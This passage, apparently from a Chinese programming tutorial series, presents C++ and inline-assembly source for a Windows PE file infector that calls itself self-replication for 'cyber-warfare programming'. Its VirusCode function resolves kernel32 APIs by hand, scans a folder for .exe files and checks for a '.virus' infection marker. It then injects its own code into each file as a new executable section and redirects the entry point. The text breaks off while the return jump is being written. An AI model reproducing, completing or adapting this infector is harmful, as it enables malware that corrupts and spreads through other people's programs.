• 基于visual c++之windows核心编程代码分析(65)实现程序自我复制


    我们进行信息安全与网络战编程的时候,经常需要实现程序的自我复制,

    我们如何实现程序的自我复制呢,

    请见代码

    #include <iostream.h>
    #include <windows.h>
    #include <stdio.h>
    
    //////////////////////////////////////////////////////////////////////////
    //*******************************************************************
    //*******以下为程序代码*******
    //*******此段代码首先动态获取API入口地址
    //*******然后实现代码的自我复制
    //*******************************************************************
    //////////////////////////////////////////////////////////////////////////
    void VirusCode()
    {
    	//////////////////////////////////////////////////////////////////////////
    	//	*******以下代码用于获取本函数在内存中的起始地址*******
    	//	*******本函数功能相对独立*******
    	//////////////////////////////////////////////////////////////////////////
    	//////////////////////////////////////////////////////////////////////////
    	//	*******变量说明*******
    	//	**dwCodeBegin	:本函数的开始地址
    	//	**dwCodeEnd		:本函数的结束地址
    	//	**dwMyCodeAddr	:自己写的代码的开始地址
    	//////////////////////////////////////////////////////////////////////////
    	DWORD dwCodeBegin , dwCodeEnd , dwMyCodeAddr;
    	
    	//	*******指针变量*******
    	PBYTE pMove = NULL;
    	
    	//	*******动态获取自己写的代码的开始地址*******
    	_asm
    	{
    		call	A
    A:
    		pop		eax
    			
    		mov		dwMyCodeAddr , eax
    	}
    	
    	//	*******把地址赋给变量*******
    	pMove = (PBYTE)dwMyCodeAddr;
    	
    	//	*******向前搜索得到函数的真正入口地址*******
    	while(!((*pMove == 0x55) && (*(pMove + 1) == 0x8B)))
    	{
    		pMove --;
    	}
    	
    	//	*******此时pMove指向函数的入口push ebp处*******
    	dwCodeBegin = (DWORD)pMove;
    	
    	//cout << "开始地址为:" << hex << dwCodeBegin << endl;
    	
    	//	*******从自己写的代码处向后搜索*******
    	pMove = (PBYTE)dwMyCodeAddr;
    	
    	while (!((*(pMove + 1) == 0x5B) && (*pMove == 0x5E) && (*(pMove - 1) == 0x5F) 
    			&& (*(pMove + 2) == 0x8B) && (*(pMove + 3) == 0xE5)))
    	{
    		pMove ++;
    	}
    	
    	pMove += 9;
    	//	*******此时pMove指向ret的前一条指令pop ebp处*******
    	dwCodeEnd = (DWORD)pMove;
    
    	DWORD dwFunCodeLen;
    	dwFunCodeLen = dwCodeEnd - dwCodeBegin;
    
    	//////////////////////////////////////////////////////////////////////////
    	//	*******上面为获取本函数的起始与结束地址*******
    	//////////////////////////////////////////////////////////////////////////
    
    	//////////////////////////////////////////////////////////////////////////
    	//////////////////////////////////////////////////////////////////////////
    	//	*******下面动态获取API入口地址
    	//////////////////////////////////////////////////////////////////////////
    	//////////////////////////////////////////////////////////////////////////
    
    	//	*******定义用到的字符串*******
    	char GetProcAddrName[] = {'G','e','t','P','r','o','c','A','d','d','r','e','s','s','\0'};
    	char LoadLibName[] = {'L','o','a','d','L','i','b','r','a','r','y','A','\0'};
    	
    	DWORD KernelBase;
    	//	*******获取本程序结束后的返回地址,此地址必须在开始处获得*******
    	_asm
    	{
    		mov eax , [ebp+4]
    			mov KernelBase,eax
    	}
    
    	//////////////////////////////////////////////////////////////////////////
    	//	*******以下通过变换得到Kernel32.dll的基址*******
    	//////////////////////////////////////////////////////////////////////////
    	KernelBase = KernelBase & 0Xffff0000;
    	
    	//	*******检查是否到了kernel32.dll的装载基址*******
    	IMAGE_DOS_HEADER *doshead;
    	
    	while(KernelBase >= 0X70000000)
    	{
    		//	*******首先检查dos文件头*******
    		doshead = (IMAGE_DOS_HEADER*)KernelBase;
    		if(doshead->e_magic == IMAGE_DOS_SIGNATURE)
    		{
    			//	*******再检查NT文件头*******
    			IMAGE_NT_HEADERS* nthead;
    			nthead = (IMAGE_NT_HEADERS*)((LPBYTE)doshead+doshead->e_lfanew);
    			if(nthead->Signature == IMAGE_NT_SIGNATURE)
    			{
    				break;
    			}
    		}
    		KernelBase-=0x10000;
    	}
    
    	//////////////////////////////////////////////////////////////////////////
    	//	*******以下通过搜索kernel32.dll得到GetProcAddress的地址*******
    	//////////////////////////////////////////////////////////////////////////
    
    	DWORD AddrOfGetProcAddr , AddrOfLoadLib;
    	IMAGE_DOS_HEADER* pFile1;	//指向dos文件头
    	IMAGE_NT_HEADERS* pFile2;	//指向nt文件头
    	
    	//	*******检查文件的合法性*******
    	pFile1 = (IMAGE_DOS_HEADER* )KernelBase;
    	if(pFile1->e_magic != IMAGE_DOS_SIGNATURE)
    	{
    		return;
    	}
    	pFile2 = (IMAGE_NT_HEADERS*)((PBYTE)pFile1 + pFile1->e_lfanew);
    	if(pFile2->Signature != IMAGE_NT_SIGNATURE)
    	{
    		return;
    	}
    	
    	IMAGE_EXPORT_DIRECTORY *pExport;
    	pExport = (IMAGE_EXPORT_DIRECTORY *)((PBYTE)pFile1 + pFile2->OptionalHeader.DataDirectory[0].VirtualAddress);
    	
    	//	*******以下在导出表中搜索名字为"GetProcAddress"的函数地址*******
    	char *FunName;
    	DWORD *AddrOfNameRVA;
    	WORD *AddrOfNameOrRVA;
    	
    	AddrOfNameRVA = (DWORD*)(KernelBase + pExport->AddressOfNames);
    	for (int i = 0 ; i < (int)pExport->NumberOfNames ; i++)
    	{
    		FunName = (char*)(KernelBase + AddrOfNameRVA[i]);
    
    		//	*******函数名与字符串"GetProcAddress"进行比较*******
    		BOOL eql = 1;
    		for (int j = 0 ; j < 15 ; j ++)
    		{
    			if (GetProcAddrName[j] != FunName[j])
    			{
    				eql = 0;
    				break;
    			}
    		}
    		//	*******如果字符串相等了,说明找到了*******
    		if (eql)
    		{
    			AddrOfNameOrRVA = (WORD*)(KernelBase + pExport->AddressOfNameOrdinals);
    			
    			int num = 0;
    			
    			num = pExport->Base + AddrOfNameOrRVA[i];
    			
    			DWORD *AddrOfFun;
    			
    			AddrOfFun = (DWORD*)(KernelBase + pExport->AddressOfFunctions);
    			AddrOfGetProcAddr = KernelBase + AddrOfFun[num - 1];
    			
    			break;
    		}
    	}
    
    	//////////////////////////////////////////////////////////////////////////
    	//////////////////////////////////////////////////////////////////////////
    	//	*******以下集中获取要用到的API入口地址*******
    	//////////////////////////////////////////////////////////////////////////
    	//////////////////////////////////////////////////////////////////////////
    
    	//	*******定义GetProcAddress函数类型*******
    	typedef DWORD (WINAPI *stGetProcAddress)(HMODULE , LPCSTR);
    	
    	//	*******定义LoadLibraryA函数地址*******
    	typedef DWORD (WINAPI *stLoadLibrary)(LPCSTR);
    
    	//	*******调用GetProcAddress获取LoadLibrary地址*******
    	//	*******定义GetProcAddress函数变量*******
    	stGetProcAddress myGetProcAddress;
    	
    	//	*******给函数赋地址*******
    	myGetProcAddress = (stGetProcAddress)AddrOfGetProcAddr;
    	
    	//	*******调用GetProcAddress*******
    	AddrOfLoadLib = myGetProcAddress((HMODULE)KernelBase , LoadLibName);
    	
    	//	*******定义LoadLibrary函数变量*******
    	stLoadLibrary myLoadLibrary;
    	
    	//	*******给函数赋地址*******
    	myLoadLibrary = (stLoadLibrary)AddrOfLoadLib;
    	
    	char User32Name[] = {'u','s','e','r','3','2','.','d','l','l','\0'};
    	DWORD User32Base;	//存放user32.dll的基址
    	
    	//	*******得到user32.dll的基址*******
    	User32Base = myLoadLibrary(User32Name);
    	
    	//////////////////////////////////////////////////////////////////////////
    	//	*****获取CreateFile函数地址*****
    	//////////////////////////////////////////////////////////////////////////
    	//	*****首先定义函数类型*****
    	typedef HANDLE (WINAPI *stCreateFile)(LPCTSTR , DWORD , DWORD , LPSECURITY_ATTRIBUTES , 
    							DWORD , DWORD , HANDLE);
    	//	*****定义函数变量*****
    	stCreateFile myCreateFile;
    
    	//	*****定义函数名称字符串*****
    	char CreateFileName[] = {'C','r','e','a','t','e','F','i','l','e','A','\0'};
    
    	//	*****获得函数地址*****
    	myCreateFile = (stCreateFile)myGetProcAddress((HMODULE)KernelBase , CreateFileName);
    
    
    	//////////////////////////////////////////////////////////////////////////
    	//	*****获取CreateFileMapping函数地址*****
    	//////////////////////////////////////////////////////////////////////////
    	//	*****首先定义函数类型*****
    	typedef HANDLE (WINAPI *stCreateFileMapping)(HANDLE , LPSECURITY_ATTRIBUTES , 
    		DWORD , DWORD , DWORD , LPCTSTR );
    
    	//	*****定义函数变量*****
    	stCreateFileMapping myCreateFileMapping;
    
    	//	*****定义函数名称字符串*****
    	char CreateFileMappingName[] = {'C','r','e','a','t','e','F','i','l','e',
    									'M','a','p','p','i','n','g','A','\0'};
    
    	//	*****获得函数地址*****
    	myCreateFileMapping = (stCreateFileMapping)myGetProcAddress((HMODULE)KernelBase , 
    							CreateFileMappingName);
    	
    
    	//////////////////////////////////////////////////////////////////////////
    	//	*****获取MapViewOfFile函数地址*****
    	//////////////////////////////////////////////////////////////////////////
    	//	*****首先定义函数类型*****
    	typedef LPVOID (WINAPI *stMapViewOfFile)(HANDLE , DWORD , DWORD , DWORD , DWORD);
    
    	//	*****定义函数变量*****
    	stMapViewOfFile myMapViewOfFile;
    	
    	//	*****定义函数名称字符串*****
    	char MapViewOfFileName[] = {'M','a','p','V','i','e','w','O','f','F','i','l','e','\0'};
    	
    	//	*****获得函数地址*****
    	myMapViewOfFile = (stMapViewOfFile)myGetProcAddress((HMODULE)KernelBase , 
    														MapViewOfFileName);
    
    
    	//////////////////////////////////////////////////////////////////////////
    	//	*****获取GlobalAlloc函数地址*****
    	//////////////////////////////////////////////////////////////////////////
    	//	*****首先定义函数类型*****
    	typedef HGLOBAL (WINAPI *stGlobalAlloc)(UINT , SIZE_T);
    
    	//	*****定义函数变量*****
    	stGlobalAlloc myGlobalAlloc;
    	
    	//	*****定义函数名称字符串*****
    	char GlobalAllocName[] = {'G','l','o','b','a','l','A','l','l','o','c','\0'};
    	
    	//	*****获得函数地址*****
    	myGlobalAlloc = (stGlobalAlloc)myGetProcAddress((HMODULE)KernelBase , 
    														GlobalAllocName);
    
    
    
    	//////////////////////////////////////////////////////////////////////////
    	//	*****获取RtlMoveMemory函数地址*****
    	//////////////////////////////////////////////////////////////////////////
    	//	*****首先定义函数类型*****
    	typedef void (WINAPI *stRtlMoveMemory)(PVOID , const VOID* , SIZE_T );
    	
    	//	*****定义函数变量*****
    	stRtlMoveMemory myRtlMoveMemory;
    	
    	//	*****定义函数名称字符串*****
    	char RtlMoveMemoryName[] = {'R','t','l','M','o','v','e','M','e','m','o','r','y','\0'};
    	
    	//	*****获得函数地址*****
    	myRtlMoveMemory = (stRtlMoveMemory)myGetProcAddress((HMODULE)KernelBase , 
    														RtlMoveMemoryName);
    
    
    
    
    	//////////////////////////////////////////////////////////////////////////
    	//	*****获取SetFilePointer函数地址*****
    	//////////////////////////////////////////////////////////////////////////
    	//	*****首先定义函数类型*****
    	typedef DWORD (WINAPI *stSetFilePointer)(HANDLE , LONG , PLONG , DWORD);
    	
    	//	*****定义函数变量*****
    	stSetFilePointer mySetFilePointer;
    	
    	//	*****定义函数名称字符串*****
    	char SetFilePointerName[] = {'S','e','t','F','i','l','e','P','o','i','n','t','e','r','\0'};
    	
    	//	*****获得函数地址*****
    	mySetFilePointer = (stSetFilePointer)myGetProcAddress((HMODULE)KernelBase , 
    														SetFilePointerName);
    
    
    	//////////////////////////////////////////////////////////////////////////
    	//	*****获取WriteFile函数地址*****
    	//////////////////////////////////////////////////////////////////////////
    	//	*****首先定义函数类型*****
    	typedef BOOL (WINAPI *stWriteFile)(HANDLE , LPCVOID , DWORD , LPDWORD , LPOVERLAPPED);
    	
    	//	*****定义函数变量*****
    	stWriteFile myWriteFile;
    	
    	//	*****定义函数名称字符串*****
    	char WriteFileName[] = {'W','r','i','t','e','F','i','l','e','\0'};
    	
    	//	*****获得函数地址*****
    	myWriteFile = (stWriteFile)myGetProcAddress((HMODULE)KernelBase , 
    														WriteFileName);
    
    
    	//////////////////////////////////////////////////////////////////////////
    	//	*****获取SetEndOfFile函数地址*****
    	//////////////////////////////////////////////////////////////////////////
    	//	*****首先定义函数类型*****
    	typedef BOOL (WINAPI *stSetEndOfFile)(HANDLE);
    
    	//	*****定义函数变量*****
    	stSetEndOfFile mySetEndOfFile;
    	
    	//	*****定义函数名称字符串*****
    	char SetEndOfFileName[] = {'S','e','t','E','n','d','O','f','F','i','l','e','\0'};
    	
    	//	*****获得函数地址*****
    	mySetEndOfFile = (stSetEndOfFile)myGetProcAddress((HMODULE)KernelBase , 
    														SetEndOfFileName);
    
    
    	//////////////////////////////////////////////////////////////////////////
    	//	*****获取CloseHandle函数地址*****
    	//////////////////////////////////////////////////////////////////////////
    	//	*****首先定义函数类型*****
    	typedef BOOL (WINAPI *stCloseHandle)(HANDLE);
    
    	//	*****定义函数变量*****
    	stCloseHandle myCloseHandle;
    	
    	//	*****定义函数名称字符串*****
    	char CloseHandleName[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'};
    	
    	//	*****获得函数地址*****
    	myCloseHandle = (stCloseHandle)myGetProcAddress((HMODULE)KernelBase , 
    														CloseHandleName);
    
    
    	//////////////////////////////////////////////////////////////////////////
    	//	*****获取UnmapViewOfFile函数地址*****
    	//////////////////////////////////////////////////////////////////////////
    	//	*****首先定义函数类型*****
    	typedef BOOL (WINAPI *stUnmapViewOfFile)(LPCVOID);
    
    
    	//	*****定义函数变量*****
    	stUnmapViewOfFile myUnmapViewOfFile;
    	
    	//	*****定义函数名称字符串*****
    	char UnmapViewOfFileName[] = {'U','n','m','a','p','V','i','e','w','O','f','F','i','l','e','\0'};
    	
    	//	*****获得函数地址*****
    	myUnmapViewOfFile = (stUnmapViewOfFile)myGetProcAddress((HMODULE)KernelBase , 
    														UnmapViewOfFileName);
    
    
    	//////////////////////////////////////////////////////////////////////////
    	//	*****获取FindFirstFile函数地址*****
    	//////////////////////////////////////////////////////////////////////////
    	//	*****首先定义函数类型*****
    	typedef HANDLE (WINAPI *stFindFirstFile)(LPCTSTR , LPWIN32_FIND_DATA);
    
    
    	//	*****定义函数变量*****
    	stFindFirstFile myFindFirstFile;
    	
    	//	*****定义函数名称字符串*****
    	char FindFirstFileName[] = {'F','i','n','d','F','i','r','s','t','F','i','l','e','A','\0'};
    	
    	//	*****获得函数地址*****
    	myFindFirstFile = (stFindFirstFile)myGetProcAddress((HMODULE)KernelBase , 
    														FindFirstFileName);
    
    
    	//////////////////////////////////////////////////////////////////////////
    	//	*****获取CopyFile函数地址*****
    	//////////////////////////////////////////////////////////////////////////
    	//	*****首先定义函数类型*****
    	typedef BOOL (WINAPI *stCopyFile)(LPCTSTR , LPCTSTR , BOOL);
    
    
    	//	*****定义函数变量*****
    	stCopyFile myCopyFile;
    	
    	//	*****定义函数名称字符串*****
    	char CopyFileName[] = {'C','o','p','y','F','i','l','e','A','\0'};
    	
    	//	*****获得函数地址*****
    	myCopyFile = (stCopyFile)myGetProcAddress((HMODULE)KernelBase , 
    														CopyFileName);
    
    
    	//////////////////////////////////////////////////////////////////////////
    	//	*****获取FindNextFile函数地址*****
    	//////////////////////////////////////////////////////////////////////////
    	//	*****首先定义函数类型*****
    	typedef BOOL (WINAPI *stFindNextFile)(HANDLE , LPWIN32_FIND_DATA);
    
    	//	*****定义函数变量*****
    	stFindNextFile myFindNextFile;
    	
    	//	*****定义函数名称字符串*****
    	char FindNextFileName[] = {'F','i','n','d','N','e','x','t','F','i','l','e','A','\0'};
    	
    	//	*****获得函数地址*****
    	myFindNextFile = (stFindNextFile)myGetProcAddress((HMODULE)KernelBase , 
    														FindNextFileName);
    
    
    	//////////////////////////////////////////////////////////////////////////
    	//	*****获取FindClose函数地址*****
    	//////////////////////////////////////////////////////////////////////////
    	//	*****首先定义函数类型*****
    	typedef BOOL (WINAPI *stFindClose)(HANDLE); 
    
    	//	*****定义函数变量*****
    	stFindClose myFindClose;
    	
    	//	*****定义函数名称字符串*****
    	char FindCloseName[] = {'F','i','n','d','C','l','o','s','e','\0'};
    	
    	//	*****获得函数地址*****
    	myFindClose = (stFindClose)myGetProcAddress((HMODULE)KernelBase , 
    														FindCloseName);
    
    
    	//////////////////////////////////////////////////////////////////////////
    	//	*****获取lstrcat函数地址*****
    	//////////////////////////////////////////////////////////////////////////
    	//	*****首先定义函数类型*****
    	typedef LPTSTR (WINAPI *stlstrcat)(LPTSTR ,	LPTSTR);
    
    	//	*****定义函数变量*****
    	stlstrcat mylstrcat;
    	
    	//	*****定义函数名称字符串*****
    	char lstrcatName[] = {'l','s','t','r','c','a','t','\0'};
    	
    	//	*****获得函数地址*****
    	mylstrcat = (stlstrcat)myGetProcAddress((HMODULE)KernelBase , 
    														lstrcatName);
    
    
    	//////////////////////////////////////////////////////////////////////////
    	//	*****获取lstrcpy函数地址*****
    	//////////////////////////////////////////////////////////////////////////
    	//	*****首先定义函数类型*****
    	typedef LPTSTR (WINAPI *stlstrcpy)(LPTSTR , LPTSTR);
    
    	//	*****定义函数变量*****
    	stlstrcpy mylstrcpy;
    	
    	//	*****定义函数名称字符串*****
    	char lstrcpyName[] = {'l','s','t','r','c','p','y','\0'};
    	
    	//	*****获得函数地址*****
    	mylstrcpy = (stlstrcpy)myGetProcAddress((HMODULE)KernelBase , 
    														lstrcpyName);
    
    
    	//////////////////////////////////////////////////////////////////////////
    	//	*****获取lstrlen函数地址*****
    	//////////////////////////////////////////////////////////////////////////
    	//	*****首先定义函数类型*****
    	typedef int (WINAPI *stlstrlen)(LPCTSTR);
    
    	//	*****定义函数变量*****
    	stlstrlen mylstrlen;
    	
    	//	*****定义函数名称字符串*****
    	char lstrlenName[] = {'l','s','t','r','l','e','n','\0'};
    	
    	//	*****获得函数地址*****
    	mylstrlen = (stlstrlen)myGetProcAddress((HMODULE)KernelBase , 
    														lstrlenName);
    
    
    	//////////////////////////////////////////////////////////////////////////
    	//	*****获取RtlZeroMemory函数地址*****
    	//////////////////////////////////////////////////////////////////////////
    	//	*****首先定义函数类型*****
    	typedef void (WINAPI *stRtlZeroMemory)(PVOID , SIZE_T);
    	
    	//	*****定义函数变量*****
    	stRtlZeroMemory myRtlZeroMemory;
    	
    	//	*****定义函数名称字符串*****
    	char RtlZeroMemoryName[] = {'R','t','l','Z','e','r','o','M','e','m','o','r','y','\0'};
    	
    	//	*****获得函数地址*****
    	myRtlZeroMemory = (stRtlZeroMemory)myGetProcAddress((HMODULE)KernelBase , 
    														RtlZeroMemoryName);
    
    	//////////////////////////////////////////////////////////////////////////
    	//////////////////////////////////////////////////////////////////////////
    	//	*******以上集中获取用到的API*******
    	//////////////////////////////////////////////////////////////////////////
    	//////////////////////////////////////////////////////////////////////////
    
    	//////////////////////////////////////////////////////////////////////////
    	//////////////////////////////////////////////////////////////////////////
    	//	*******下面为搜索并自我复制的代码*******
    	//////////////////////////////////////////////////////////////////////////
    	//////////////////////////////////////////////////////////////////////////
    
    	
    	//	*******搜索的带过滤条件的源目录*******
    	char SourceDirFilter[] = {'D',':','\\','s','o','u','r','c','e','\\','*','.','e','x','e','\0'};
    
    	//	*******不带条件的源目录*******
    	char SourceDir[] = {'D',':','\\','s','o','u','r','c','e','\\','\0'};
    
    	//	*******要复制的目录*******
    	char DestDir[] = {'D',':','\\','d','e','s','t','i','n','a','\\','\0'};
    
    	WIN32_FIND_DATA findBuf;
    
    	//	*******进行第一次搜索*******
    	HANDLE hFileFind = myFindFirstFile(SourceDirFilter , &findBuf);
    	
    	//	*******申请缓冲区,用于存放源文件的完整目录+文件名*******
    	char *SourDirNameBuf = (char*)myGlobalAlloc(GPTR , MAX_PATH);
    
    	//	*******申请缓冲区,用于存放目的文件的完整目录+文件名*******
    	char *DestDirNameBuf = (char*)myGlobalAlloc(GPTR , MAX_PATH);
    
    	//	*******对每一个文件进行复制感染操作*******
    	do 
    	{
    		//	*******缓冲区清空*******
    		myRtlZeroMemory(SourDirNameBuf , MAX_PATH);
    		myRtlZeroMemory(DestDirNameBuf , MAX_PATH);
    
    		//	*******把源目录放在缓冲区中*******
    		mylstrcpy(SourDirNameBuf , SourceDir);
    
    		//	*******把搜索到的文件名添加在源目录后面*******
    		mylstrcat(SourDirNameBuf , findBuf.cFileName);
    
    		//	*******把目的目录放在缓冲区中*******
    		mylstrcpy(DestDirNameBuf , DestDir);
    
    		//	*******把搜索到的文件名添加在源目录后面*******
    		mylstrcat(DestDirNameBuf , findBuf.cFileName);
    
    
    		//////////////////////////////////////////////////////////////////////////
    		//	*******以下对每一个文件感染*******
    		//////////////////////////////////////////////////////////////////////////
    		HANDLE hFile , hMapFile;
    		LPVOID pMapOfFile = NULL;
    		
    		char SecName[] = {'.','v','i','r','u','s','\0'};	//新添加的节名
    
    		//////////////////////////////////////////////////////////////////////////
    		//*******检测文件合法性*******
    		//////////////////////////////////////////////////////////////////////////
    		//	*******打开文件*******
    		hFile = myCreateFile(SourDirNameBuf , GENERIC_READ , FILE_SHARE_READ | 
    			FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL);
    		
    		if (INVALID_HANDLE_VALUE == hFile)
    		{
    			goto TheNextFile;
    		}
    		
    		//	*******创建文件映射*******
    		hMapFile = myCreateFileMapping(hFile , NULL , PAGE_READONLY , 0 , 0 , NULL);
    		
    		if (!hMapFile)
    		{
    			goto CLOSEFILEHANDLE;
    		}
    		
    		//	*******把文件映射到内存中*******
    		pMapOfFile = myMapViewOfFile(hMapFile , FILE_MAP_READ , 0 , 0 , 0);
    		
    		if (!pMapOfFile)
    		{
    			goto CLOSEMAPHANDLE;
    		}
    		
    		IMAGE_DOS_HEADER *pDosHeader;
    		
    		//	********检测DOS文件头*******
    		pDosHeader = ( IMAGE_DOS_HEADER* )pMapOfFile;
    		
    		if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
    		{
    			goto FreeViewOfMap;
    		}
    		
    		IMAGE_NT_HEADERS *pNtHeader;
    		
    		//	*******检测NT文件头*******
    		pNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pDosHeader + pDosHeader->e_lfanew);
    		
    		if (pNtHeader->Signature != IMAGE_NT_SIGNATURE)
    		{
    			goto FreeViewOfMap;
    		}
    
    		//////////////////////////////////////////////////////////////////////////
    		//	*******检测感染标记*******
    		//////////////////////////////////////////////////////////////////////////
    		//	*******得到该文件的节表数*******
    		int SecNum;
    		SecNum = pNtHeader->FileHeader.NumberOfSections;
    
    		//	*******定位到节表开始处*******
    		IMAGE_SECTION_HEADER *pSecHeader;
    		pSecHeader = (IMAGE_SECTION_HEADER*)((PBYTE)pNtHeader + 248);
    
    		int i ;
    		//	*******循环扫描各个节表,如果有节的名字为virus则说明已经被感染过*******
    		for (i = 0 ; i < SecNum ; i ++)
    		{
    			char *SecNameAddr = (char*)pSecHeader->Name;
    			
    			if ((SecNameAddr[0] == '.') && (SecNameAddr[1] == 'v') && 
    				(SecNameAddr[2] == 'i') && (SecNameAddr[3] == 'r') &&
    				(SecNameAddr[4] == 'u') && (SecNameAddr[5] == 's'))
    			{
    				//	*******直接退出*******
    				goto FreeViewOfMap;
    			}
    			//	*******查看下一个节表*******
    			pSecHeader ++;
    		}
    
    
    		//////////////////////////////////////////////////////////////////////////
    		//*******准备工作*******
    		//////////////////////////////////////////////////////////////////////////
    		BOOL bCopy;
    		
    		//	*******首先把要添加程序代码的文件复制一份*******
    		bCopy = myCopyFile(SourDirNameBuf , DestDirNameBuf , FALSE);
    
    		if (!bCopy)
    		{
    			goto FreeViewOfMap;
    		}
    		
    		HANDLE hNewFile;
    
    		//	*******打开刚刚复制的文件*******
    		hNewFile = myCreateFile(DestDirNameBuf , GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ 
    			| FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL);
    		
    		if (!hNewFile)
    		{
    			goto FreeViewOfMap;
    		}
    		
    		HGLOBAL pNewFileHeader;
    		
    		//	*******为新文件的文件头申请一块内存,用于修改文件头信息*******
    		pNewFileHeader = myGlobalAlloc(GPTR , pNtHeader->OptionalHeader.SizeOfHeaders);
    		
    		if (!pNewFileHeader)
    		{
    			goto CloseNewFileHandle;
    		}
    		
    		//	*******用原文件头填充这块内存*******
    		myRtlMoveMemory((PVOID)pNewFileHeader , (PVOID)pMapOfFile , pNtHeader->OptionalHeader.SizeOfHeaders);
    		
    		//	*******定义一个变量指向新内存的NT文件头处*******
    		IMAGE_NT_HEADERS *pNewFileNtHeader;
    		
    		pNewFileNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pNewFileHeader + pDosHeader->e_lfanew);
    
    		
    		//////////////////////////////////////////////////////////////////////////
    		//*******此时的指针信息*******
    		//*******pMapOfFile			:	原映射文件的开始
    		//*******pDosHeader			:	原映射文件的DOS头,也就是文件开始,只不过类型不一样
    		//*******pNTHeader			:	原映射文件的NT头
    		//*******pNewFileHeader		:	新文件的开始
    		//*******pNewFileNtHeader	:	新文件的NT头
    		//////////////////////////////////////////////////////////////////////////
    		//****************************************************************
    		//*******修改新文件的节表信息*******
    		//****************************************************************
    		int nSecNum;
    		nSecNum = pNtHeader->FileHeader.NumberOfSections;
    		IMAGE_SECTION_HEADER *pLastSec , *pNewSec;
    		
    		//	*******定位到原文件中的最后一个节表*******
    		pLastSec = (IMAGE_SECTION_HEADER*)((PBYTE)pNewFileNtHeader + sizeof(IMAGE_NT_HEADERS)
    			+ (nSecNum-1) * sizeof(IMAGE_SECTION_HEADER));
    		
    		//	*******pNewSec为最后一个节表的结尾处,也就是新加节表的开头*******
    		pNewSec = pLastSec + 1;
    		
    		//*******修改新增节表的相关信息*******
    		//*****节表总数加1*****
    		pNewFileNtHeader->FileHeader.NumberOfSections ++;
    		
    		//*****修改新节的文件偏移*****
    		pNewSec->PointerToRawData = pLastSec->PointerToRawData + pLastSec->SizeOfRawData;
    		
    		//*****修改新节的文件尺寸*****
    		int nAlignNum;
    		
    		nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.FileAlignment;
    		if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.FileAlignment != 0)
    		{
    			nAlignNum++;
    		}
    		pNewSec->SizeOfRawData = nAlignNum * pNewFileNtHeader->OptionalHeader.FileAlignment;
    		
    		//*****修改所有代码长度按内存页对齐后的大小*****
    		nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.SectionAlignment;
    		if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0)
    		{
    			nAlignNum ++;
    		}
    		pNewFileNtHeader->OptionalHeader.SizeOfCode += nAlignNum * 
    			pNewFileNtHeader->OptionalHeader.SectionAlignment;
    		
    		//*****修改文件内存映像尺寸*****
    		pNewFileNtHeader->OptionalHeader.SizeOfImage += nAlignNum * 
    			pNewFileNtHeader->OptionalHeader.SectionAlignment;
    		
    		//*****修改新节的内存偏移量*****
    		//*****用原最后节的内存偏移加上原最后节对齐后的内存尺寸的大小*****
    		nAlignNum = pLastSec->Misc.VirtualSize / 
    			pNewFileNtHeader->OptionalHeader.SectionAlignment;
    		if (pLastSec->Misc.VirtualSize % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0)
    		{
    			nAlignNum ++;
    		}
    		pNewSec->VirtualAddress = nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment 
    			+ pLastSec->VirtualAddress;
    		
    		//*****修改新节的内存尺寸*****
    		pNewSec->Misc.VirtualSize = dwFunCodeLen;
    		
    		//*****更新新节属性*****
    		pNewSec->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | 
    			IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;
    		
    		//*****更新节名*****
    		mylstrcpy((char*)pNewSec->Name , SecName);
    		
    		//*****更新入口地址*****
    		pNewFileNtHeader->OptionalHeader.AddressOfEntryPoint = pNewSec->VirtualAddress;
    		
    		BOOL bWrite;
    		DWORD dwHeaderSize , dwWriten;
    		dwHeaderSize = (DWORD)(pNewFileNtHeader->OptionalHeader.SizeOfHeaders);
    		bWrite = myWriteFile(hNewFile , (LPVOID)pNewFileHeader , dwHeaderSize , 
    								&dwWriten , NULL);
    		
    		//////////////////////////////////////////////////////////////////////////
    		//*****向文件中添加程序代码*****
    		//////////////////////////////////////////////////////////////////////////
    		DWORD dwSetFileP;
    		
    		//*****定位到新文件中新节开始处*****
    		dwSetFileP = mySetFilePointer(hNewFile , pNewSec->PointerToRawData , NULL , FILE_BEGIN);
    		if (!dwSetFileP)
    		{
    			goto CloseNewFileHandle;
    		}
    		
    		//*****写入程序代码*****
    		bWrite = myWriteFile(hNewFile , (LPVOID)dwCodeBegin , dwFunCodeLen , &dwWriten , NULL);
    		if (!bWrite)
    		{
    			goto CloseNewFileHandle;
    		}
    		
    		//*****定位到文件尾部*****
    		dwSetFileP = mySetFilePointer(hNewFile , pNewSec->PointerToRawData + 
    			pNewSec->SizeOfRawData , NULL , FILE_BEGIN);
    		if (!dwSetFileP)
    		{
    			goto CloseNewFileHandle;
    		}
    		
    		//*****设定文件结束*****
    		if (!mySetEndOfFile(hNewFile))
    		{
    			goto CloseNewFileHandle;
    		}
    
    		//////////////////////////////////////////////////////////////////////////
    		//*******修正原入口地址*******
    		//////////////////////////////////////////////////////////////////////////
    		PBYTE pModifyAddr;
    		pModifyAddr = (PBYTE)pNewSec->VirtualAddress;
    		
    		pModifyAddr	+= dwFunCodeLen;
    		
    		int nSub;    //跳转的距离
    		nSub = (PBYTE)(pNtHeader->OptionalHeader.AddressOfEntryPoint) - pModifyAddr;
    		
    		DWORD dwModifyLoca;
    		dwModifyLoca = pNewSec->PointerToRawData;
    		dwModifyLoca = dwModifyLoca + dwFunCodeLen - 5;
    				
    		//	*****定位到程序代码最后的五个字节处*****
    		dwSetFileP = mySetFilePointer(hNewFile , dwModifyLoca , NULL , FILE_BEGIN);
    		if (!dwSetFileP)
    		{
    			goto CloseNewFileHandle;
    		}
    		//*****修正jmp指令*****
    		BYTE bJmp;
    		bJmp = 0XE9;
